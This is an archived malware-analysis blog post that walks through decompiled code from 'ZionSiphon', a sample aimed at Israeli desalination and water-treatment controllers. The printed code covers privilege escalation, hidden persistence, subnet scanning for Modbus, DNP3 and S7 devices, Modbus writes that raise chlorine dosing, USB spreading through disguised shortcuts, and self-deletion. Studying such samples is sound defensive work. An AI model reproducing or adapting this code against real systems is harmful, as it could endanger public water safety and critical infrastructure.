

Analysis on Malware that attacks Israel’s Water treatment facilities

Published: 2026-05-17 · Archived: 2026-05-19 02:00:41 UTC

Entry Point

I go after the entry point of the malware and right away we can see that there’s only three main functions. This makes it easier for us to analyze the malware. I’m not sure why the author did not add a layer of obfuscation to the binary to make it harder to analyze. Maybe this was a version that was not meant to be deployed/used in any meaningful way.

This is also a .NET malware so it will way easier to analyze than a binary created with a more common programming language like C/C++ or Golang/Rust . I guess this also was taked into account by the author.

The name of the malware is ZionSiphon.

- Siphon: Device that allows the transfer of liquid through a tube via hydrostatic pressure
- Zion: From the word ‘Zionist’

1	public static void Main()
2	{
3	try
4	{
5	ZionSiphon.RunAsAdmin();
6	ZionSiphon.s1();
7	ZionSiphon.s2();
8	}
9	}

In the binary we can also see a lot of Base64 encoded strings that are meant to be a message to the analyst, it’s pretty clear that the intent of these strings are political messages, the writter knew the messages were going to be shared by the analyst.

Here are the messages from whoever made the malware:

1	"In support of our brothers in Iran, Palestine, and Yemen against Zionist aggression. I am '0xICS'."
2	"Poisoning the population of Tel Aviv and Haifa"

ZionSiphon.RunAsAdmin

This function is very simple, it first calls ZionSiphon.IsElevated() , to check the process permissions, then depending on the output of the function the malware executes the code snippet inside try .

If it doesn’t have the necessary permissions then it executes itself again with Powershell and uses the arguments -Verb RunAs to run as Admin. Then it kills the current process that did not have the permissions it needed.

1	bool flag = !ZionSiphon.IsElevated();
2	if (flag)
3	{
4	try
5	{
6	ZionSiphon.mutex.WaitOne();
7	Process process = new Process();
8	process.StartInfo.FileName = "powershell.exe";
9	process.StartInfo.Arguments = "Start-Process -FilePath " + Assembly.GetExecutingAssembly().Location + " -Verb RunAs"
10	process.StartInfo.UseShellExecute = false;
11	process.StartInfo.CreateNoWindow = true;
12	process.StartInfo.RedirectStandardOutput = true;

```

13         process.Start();
14         process.WaitForExit();
15         Environment.Exit(0);
16     }
17     finally
18     {
19         ZionSiphon.mutex.ReleaseMutex();
20     }
21 }

```

static ZionSiphon

Here we can also find an array that contain a lot of folder names that are used by Windows systems. This will later be used by a function called `IsSystemPath`. The function just checks if the folder name is inside the array and returns a `bool` variable.

```

1     ZionSiphon.systemFileNames = new string[]
2     {
3         "V2luZG93cw==" // Windows
4         "UHJvZ3JhbSBGaWxlcw==" // Program Files
5         "Program Files (x86)"
6         "UHJvZ3JhbURhdGE==" // ProgramData
7         "U3lzdGVtIFZvbHVtZSBjb2cm1hdGlvbg==" // System Volume Information
8         "QXBwRGF0YQ==" // AppData
9         "V2luRGl5" // WinDir
10        "U3lzdGVtMzI=" // System32
11        "U3lzV09XNjQ=" // SysWOW64
12        "Qm9vdA==" // Boot
13        "UmVjb3Zlcnk=" // Recovery
14        "UGVyZkxvZ3M=" // PerfLogs
15        "$Recycle.Bin",
16        "Q29uZmInLk1zaQ==" // Config.Msi
17        "TVNPNQ2FjaGU=" // MSOCache
18        "SW50ZWw=" // Intel
19        "RHJpdmVycw==" // Drivers
20        "V2luZG93cy5vbGQ=" // Windows.old
21        "VGVTcA==" // Temp
22    };

```

ZionSiphon.s1()

```

1     ZionSiphon.stealthPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ZionSiphon.s
2     ZionSiphon.sdCbVziB = "svchost.exe";
3
4     stealthPath = C:\Users\<User>\AppData\Local\svchost.exe

```

The value of `stealthPath` is `C:\Users\<User>\AppData\Local\svchost.exe`. That value is later used to check if the current process is running from that same path. If not then it will copy itself to that path as hidden file.

```

1     if (flag)
2     {
3         File.Copy(fileName, ZionSiphon.stealthPath, true);
4         File.SetAttributes(ZionSiphon.stealthPath, FileAttributes.Hidden);
5     }

```

Then it sets persistence with a registry key:

1	<pre>RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); registryKey.SetValue("SystemHealthCheck", "C:\\Users\\<User>\\AppData\\Local\\svchost.exe");</pre>
2	

1	<pre>Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemHealthCheck -> Call Malware</pre>
---	--

ZionSiphon.s2()

1	<pre>private static void s2() { bool flag = ZionSiphon.IsTargetCountry(); if (flag) { bool flag2 = ZionSiphon.IsDamDesalinationPlant(); if (flag2) { ZionSiphon.IncreaseChlorineLevel(); ZionSiphon.sdfsdffsdffsdffqw(); } } else {ZionSiphon.SelfDestruct();} }</pre>
2	
3	
4	
5	
6	
7	
8	
9	
10	
11	
12	
13	
14	
15	

IsTargetCountry()

This function is used to try to guess if the computer is from Israel.

First it tries to get the local IP from the computer where the malware is running, converts it into a string and then it is converted into a 32-bit numeric value used to represent the IP address.

1	<pre>string text = Dns.GetHostEntry(Dns.GetHostName()).AddressList.First((ZionSiphon._Closure\$__.\$I18-0 == null) ? (ZionSiphon.Cl long ipDns = ZionSiphon.IPToNumeric(text);</pre>
2	

It uses an array with IP addresses that belong to Israel, it iterates over them and checks if the IP address of the computer belongs to any IP ranges listed here:

- 2.52.0.0 - 2.55.255.255
- 5.28.0.0 - 5.29.255.255
- 31.154.0.0 - 31.155.255.255
- 37.142.0.0 - 37.143.255.255
- 62.0.0.0 - 62.0.255.255
- 79.176.0.0 - 79.191.255.255
- 84.108.0.0 - 84.111.255.255
- 185.56.72.0 - 185.56.75.255
- 192.114.0.0 - 192.115.255.255
- 212.150.0.0 - 212.150.255.255

```

1 string[] entry = keyValuePair.Key.Split(new char[] { '-' });
2 long ip = ZionSiphon.IPToNumeric(entry[0]);
3 long mask = ZionSiphon.IPToNumeric(entry[1]);
4 bool flag = ipDns >= ip && ipDns <= mask;

```

If the IP address is inside the IP ranges mentioned before then it calls a custom `EncryptDecrypt` function. It takes two values, the first is `Israel` and the value `5`. The value `5` is a key that will be used to XOR the string. The result is `"Lvwd`i"`.

```

1 return Operators.CompareString(keyValuePair.Value, ZionSiphon.EncryptDecrypt("Israel", 5), false) == 0;

```

Then it compares the string that came out of the `EncryptDecrypt` function with the value hardcoded string `Nqvbdk`, these strings are not equal. So it will not return `True`. This means that the rest of the code will not run, so the malware in this state is useless. Maybe the author of the malware deployed an incorrect version or they forgot to change the string.

```

1 bool flag = ZionSiphon.IsTargetCountry();
2 if (flag)
3 {
4     ...
5 }
6 else { ZionSiphon.SelfDestruct(); }

```

The malware would execute `SelfDestruct`.

IsDamDesalinationPlant()

Even if the malware does not 'work', let's keep reading the code. If the machine has an Israeli IP address then it will try another validation. This time it makes sure the machine is related to a Desalination Plant. On in other words, *is it a water treatment plant?*

First thing we see is a big array of base64 encoded strings:

```

1 Sorek
2 Hadera
3 Ashdod
4 Mekorot
5 DesalPLC
6 ROController
7 SchneiderRO
8 DamRO
9 Palmachim
10 Shafdan
11 EilatDesal
12 IDE_Tech
13 ReverseOsmosis
14 WaterGenix
15 DesalSys
16 RO_Pump
17 ChlorineCtrl
18 DesalUnit
19 WaterPLC
20 HydroTech
21 AquaSys
22 SeaWaterRO
23 BrineControl

```


1	"C:\\DesalConfig.ini"
2	"C:\\ROConfig.ini"
3	"C:\\Program Files\\Desalination\\system.cfg"
4	"C:\\WaterTreatment.ini"
5	"C:\\ChlorineControl.dat"
6	"C:\\DesalSettings.conf"
7	"C:\\Program Files\\Schneider Electric\\Desal\\config.ini"
8	"C:\\Program Files\\IDE Technologies\\ROsettings.ini"
9	"C:\\Program Files\\Aqua Solutions\\chlorine.cfg"
10	"C:\\RO_PumpSettings.ini"
11	"C:\\DesalFlowControl.dat"
12	"C:\\Program Files\\WaterGenix\\system.conf"
13	"C:\\SalinityControl.ini"

Here's the configuration file that I'm talking about. This is not that hard to understand, it ups the amount of Chlorine, turns on the pump, makes it go on MAX settings and opens it.

1	Chlorine_Dose=10
2	Chlorine_Pump=ON
3	Chlorine_Flow=MAX
4	Chlorine_Valve=OPEN
5	RO_Pressure=80

I'm not sure if this will work, it seems like the malware is not targeting specific software/hardware. Maybe the commands are standardized and they can work on all software related to this one?

Scan your home - UZJctUZJctUZJct()

This gets the host computer IP address, then it strips the last octet of the IP address.

1	ZionSiphon._Closure\$__27-2 CS\$<>8__locals1 = new ZionSiphon._Closure\$__27-2(CS\$<>8__locals1);
2	CS\$<>8__locals1.\$VB\$Local_devices = new List<ZionSiphon.ICSDDevice>();
3	
4	string text = Dns.GetHostEntry(Dns.GetHostName()).AddressList.First((ZionSiphon._Closure\$__.\$I27-0 == null) ? (ZionSiphon._Cl
5	checked
6	{
7	string text2 = text.Substring(0, text.LastIndexOf(".") + 1);

Then the malware setups the ports that will be used. If you search for these ports we can know what's the intent behind these instructions:

1	int[] array = new int[] { 502, 20000, 102 };
---	--

- 502 : Modbus TCP — industrial PLCs/sensors
- 20000 : DNP3 — SCADA/utility systems
- 102 : S7 comm (ISO-TSAP) — Siemens PLCs

This iterates over all the 255 hosts that might be on the network.

1	do
2	{

```

3      CS$<>8__locals2.$VB$Local_ip = text2 + Conversions.ToString(num2);
4      for loop {
5          ...
6      }
7
8      num2++;
9  }
10     while (num2 <= 255);

```

For each device/IP address it will scan all the three ports I mentioned before: 502, 20000 and 102. Here's how the code uses the loop:

```

1      for (int i = 0; i < array2.Length; i++) {
2          ...
3          Local_port = array2[i]
4      }

```

It calls another custom function `ZJctZJctZJctZJct` .

```

1      Task task = new Task(delegate
2      {
3          ZionSiphon.ZJctZJctZJctZJct(CS$<>8__locals3.$VB$NonLocal_$VB$Closure_3.$VB$Local_ip, CS$<>8__locals3.$VB$Local_port, ref
4      });
5      list.Add(task);
6      task.Start();

```

Create Device list - `ZJctZJctZJctZJct()`

This tries to connect to check if the port is available, if so then it runs `ICSDevice` .

```

1      private static void ZJctZJctZJctZJct(string ip, int port, ref List<ZionSiphon.ICSDevice> devices)
2      {
3          try
4          {
5              TcpClient tcpClient = new TcpClient();
6              IAsyncResult asyncResult = tcpClient.BeginConnect(ip, port, null, null);
7              bool flag = asyncResult.AsyncWaitHandle.WaitOne(100, false) && tcpClient.Connected;
8              if (flag)
9              {
10                 object objectValue = RuntimeHelpers.GetObjectValue((port == 502) ? "Modbus" : ((port == 20000) ? "DNP3" : "S7"));
11                 object obj = devices;
12                 lock (obj)
13                 {
14                     devices.Add(new ZionSiphon.ICSDevice(ip, port, Conversions.ToString(objectValue)));
15                 }
16                 tcpClient.Close();
17             }
18         }
19     }

```

```

1      public ICSDevice(string ip, int port, string protocol)
2      {

```

```

3         this.IP = ip;
4         this.Port = port;
5         this.Protocol = protocol;
6     }

```

IncreaseChlorineLevel - Part 2

Then it returns the local devices: `$VB$Local_devices` . This will be used to iterate over all the devices alongside their available protocols.

Just a quick summary if you lost track

```

1     IncreaseChlorineLevel -> Scan your network -> Create Device List -> Return ICSDevices
2         ^
3         |-----+

```

Now, with the list we create we enter a loop where we create a TCP connection and a Stream to receive or send packets. This is meant to be used to speak to the list of devices we created.

```

1     try
2     {
3         foreach (ZionSiphon.ICSDevice icsdevice in list)
4         {
5             try
6             {
7                 TcpClient tcpClient = new TcpClient();
8                 tcpClient.Connect(icsdevice.IP, icsdevice.Port);
9                 NetworkStream stream = tcpClient.GetStream();
10                bool flag2 = ZionSiphon.kYnkYnkYnkYnkYnkYnkYnkYnkYnkYnkYnkYnkYnkYnkYn(stream, icsdevice.Protocol);

```

Returns true if the response matches the expected industrial protocol.

1. Sends a single null byte (0x00) to the target over TCP.
2. Reads the device's response.

```

1     stream.Write(new byte[1], 0, 1);
2     int num2 = stream.Read(array, 0, array.Length);

```

3. Checks the response for known protocol signatures.

```

1     bool flag = num2 > 0;
2     if (flag)

```

4. Returns `True` if the target appears to be a valid `ICS` device using the expected protocol
 - `Modbus` → any non-zero response byte
 - `DNP3` → packet starts with 05 64
 - `S7 (Siemens)` → packet starts with 03

```

1      {
2          bool flag2 = Operators.ConditionalCompareObjectEqual(protocol, "Modbus", false);
3          if (flag2)
4          {
5              return array[0] >= 1 && array[0] <= byte.MaxValue;
6          }
7          flag2 = Operators.ConditionalCompareObjectEqual(protocol, "DNP3", false);
8          if (flag2)
9          {
10             return array[0] == 5 && array[1] == 100;
11          }
12          flag2 = Operators.ConditionalCompareObjectEqual(protocol, "S7", false);
13          if (flag2)
14          {
15              return array[0] == 3;
16          }
17      }
18      flag3 = false;
19  }

```

After that for the device and for that specific port it calls the next function `IncreaseChlorineLevel`. This function has the same name as the one that is calling it, but it's important that we don't confuse these. I will call this new function `OverwriteChlorineSettings`.

```

1      if (flag2)
2      {
3          byte[] array3 = ZionSiphon.IncreaseChlorineLevel(icsdevice.IP, icsdevice.Port, "Chlorine_Dose");
4          stream.Write(array3, 0, array3.Length);
5      }
6      tcpClient.Close();

```

OverwriteChlorineSettings

Here's a similar code snippet we already have seen before. It sends data to the ICS device and writes `1, 3, 0, 0, 0, 10`. This seems like the Chlorine settings being written to the server.

We also store the response of that TCP write.

```

1      TcpClient tcpClient = new TcpClient();
2      tcpClient.Connect(targetIP, targetPort);
3      NetworkStream stream = tcpClient.GetStream();
4      byte[] array = new byte[] { 1, 3, 0, 0, 0, 10 };
5      stream.Write(array, 0, array.Length);
6      byte[] array2 = new byte[256];
7      int num2 = stream.Read(array2, 0, array2.Length);

```

Next we create a dictionary where we store a `string` and an `int` value.

```

1      Chlorine_Dose, -1
2      Turbine_Speed, -1

```

It checks whether the PLC/device returned enough bytes to contain meaningful Modbus data.

1	bool flag = num2 > 3;
---	-----------------------

This parses the response, looks for specific registers in the response. It then looks for the values of `Chlorine_Dose` and `Turbine_Speed` that the remote device has and stores them in the dictionary. There's also some validations for certain ranges of values.

```
bool flag = num2 > 3;
if (flag)
{
    int num3 = (int)array2[2];
    int num4 = (int)Math.Round(unchecked((double)num3 / 2.0 - 1.0));
    for (int i = 0; i <= num4; i++)
    {
        int num5 = (int)(unchecked((byte)(array2[checked(3 + i * 2)] << (8 & 7))) | array2[4 + i * 2]));
        bool flag2 = Operators.ConditionalCompareObjectEqual(parameter, ZionSiphon.PLhLbJWEbNrFIAZrpMaMZcq
            ("Q2hsb3JpbmVFRG9zZQ=="), false) && num5 > 0 && num5 < 1000;
        if (flag2)
        {
            dictionary[Conversions.ToString(ZionSiphon.PLhLbJWEbNrFIAZrpMaMZcq("Q2hsb3JpbmVFRG9zZQ=="))] = i;
        }
        else
        {
            bool flag3 = Operators.ConditionalCompareObjectEqual(parameter, ZionSiphon.PLhLbJWEbNrFIAZrpMaMZcq
                ("VHVyYmVuZV9TcGVlZA=="), false) && num5 > 100;
            if (flag3)
            {
                dictionary[Conversions.ToString(ZionSiphon.PLhLbJWEbNrFIAZrpMaMZcq("VHVyYmVuZV9TcGVlZA=="))] = i;
            }
        }
    }
}
tcpClient.Close();
```

This code retrieves the discovered Modbus register index for the selected parameter and checks whether a valid register was identified (`>= 0`). If so, it constructs a `Modbus Write Single Register` (function code `0x06`) packet targeting that register.

For `Chlorine_Dose`, the value written is 100; otherwise the value is 0

```
tcpClient.Close();
int num6 = dictionary[parameter];
bool flag4 = num6 >= 0;
if (flag4)
{
    int num7 = (Operators.ConditionalCompareObjectEqual(parameter, ZionSiphon.PLhLbJWEbNrFIAZrpMaMZcq
        ("Q2hsb3JpbmVFRG9zZQ=="), false) ? 100 : 0);
    array3 = new byte[]
    {
        1,
        6,
        (byte)(num6 >> 8),
        (byte)(num6 & 255),
        (byte)(num7 >> 8),
        (byte)(num7 & 255)
    };
}
```

It returns a 6-byte Modbus write packet. Then we return again to the original `IncreaseChlorineLevel` and it writes that packet to the ICS Device.

1	if (flag2)
2	{
3	byte[] array3 = ZionSiphon.IncreaseChlorineLevel(icsdevice.IP, icsdevice.Port, "Chlorine_Dose");
4	stream.Write(array3, 0, array3.Length);
5	}

Logical Drives - sdfsdffsdfsdffqw

This gets all the drives, loops over all of them and then with the help of `.IsReady()`. Then it checks if it can do I/O operations (Write/Read) and also it checks if the device is a removable device (USB). If this is `True` then it continues.

1	private static void sdfsdffsdfsdffqw()
2	{
3	foreach (string text in Directory.GetLogicalDrives())
4	{

```

5         try
6         {
7             DriveInfo driveInfo = new DriveInfo(text);
8             bool flag = driveInfo.IsReady && driveInfo.DriveType == DriveType.Removable;
9             if (flag)

```

It checks if the file `svchost.exe` exists on the device. If it doesn't exist then it copies itself to that drive with that same file name. It copies it as a hidden file.

```

1         {
2             string text2 = Path.Combine(text, "svchost.exe");
3             bool flag2 = !File.Exists(text2);
4             if (flag2)
5             {
6                 File.Copy(ZionSiphon.stealthPath, text2, true);
7                 File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
8             }
9             ZionSiphon.CreateUSBShortcut(text);
10        }

```

CreateUSBShortcut

It creates a COM object and gets a handle for it.

```

1         DirectoryInfo directoryInfo = new DirectoryInfo(drive);
2         string text = Path.Combine(drive, "svchost.exe");
3         object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", ""));

```

It checks all the files in the drive to verify if a copy of the malware is present in there. And just looks for that file in the drive. After finding the file then it creates a shortcut to the malware.

```

1         foreach (FileInfo fileInfo in directoryInfo.GetFiles("*.lnk"))
2         {
3             bool flag = !fileInfo.FullName.Equals(text);
4             if (flag)
5             {
6                 string text2 = Path.Combine(drive, fileInfo.Name + ".lnk");
7                 object[] array;
8                 bool[] array2;
9                 object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", array = new object[] { text2 }, null, null,

```

This code finalizes the malicious shortcut (`.lnk`) previously created on the removable drive. It obtains the shortcut object and sets its `TargetPath`, which defines what will execute when the user double-clicks the shortcut. The icon is changed to a legitimate-looking Windows system icon (`shell32.dll, 4`) to make the shortcut resemble a normal file or folder and reduce suspicion.

```

1             if (array2[0])
2             {
3                 text2 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
4             }
5
6             object objectValue2 = RuntimeHelpers.GetObjectValue(obj);

```

```
7
8     NewLateBinding.LateSet(objectValue2, null, "TargetPath", new object[] { text }, null, null);
9     NewLateBinding.LateSet(objectValue2, null, "IconLocation", new object[] { "shell32.dll, 4" }, null, null);
10    NewLateBinding.LateCall(objectValue2, null, "Save", new object[] { null, null, null, true });
11    File.SetAttributes(fileInfo.FullName, FileAttributes.Hidden);
12    }
13 }
```

After configuring the shortcut, the code calls `Save()` to write it to disk. Finally, it hides the original file using the `Hidden` attribute

SelfDestruct()

If the computer is not a valid target for the malware then it calls the function `SelfDestruct`. This is very self explanatory function name.

First it deletes the registry key that was used for persistence.

```
1     RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
2     bool flag = registryKey != null;
3
4     if (flag)
5     {
6         registryKey.DeleteValue("SystemHealthCheck", false);
7         registryKey.Close();
8     }
```

It writes to a log file the call to the `SelfDestruct` function.

```
1     string text = Path.Combine(Path.GetTempPath(), "target_verify.log");
2     File.WriteAllText(text, "Target not matched. Operation restricted to IL ranges. Self-destruct initiated.");
```

This creates a `.bat` file with a series of commands meant to delete the malware.

```
1     string fileName = Process.GetCurrentProcess().MainModule.FileName;
2     string text2 = Path.Combine(Path.GetTempPath(), "delete.bat");
3
4     string text3 = string.Concat(new string[] { "@echo off\r\n:repeat\r\nrdel \"", fileName, "\"\r\nif exist \"", fileName, "\" go
5
6     File.WriteAllText(text2, text3);
```

It executes the newly created `.bat` file, the file is executed without showing any windows

```
1     Process.Start(new ProcessStartInfo
2     {
3         FileName = text2,
4         CreateNoWindow = true,
5         UseShellExecute = false
6     });
```

For the final step it kills itself.



1	Process.GetCurrentProcess().Kill();
2	
3	catch (Exception ex)
4	{
5	Process.GetCurrentProcess().Kill();
6	}

Source: <https://zanezhub.github.io/posts/Israel-Malware/>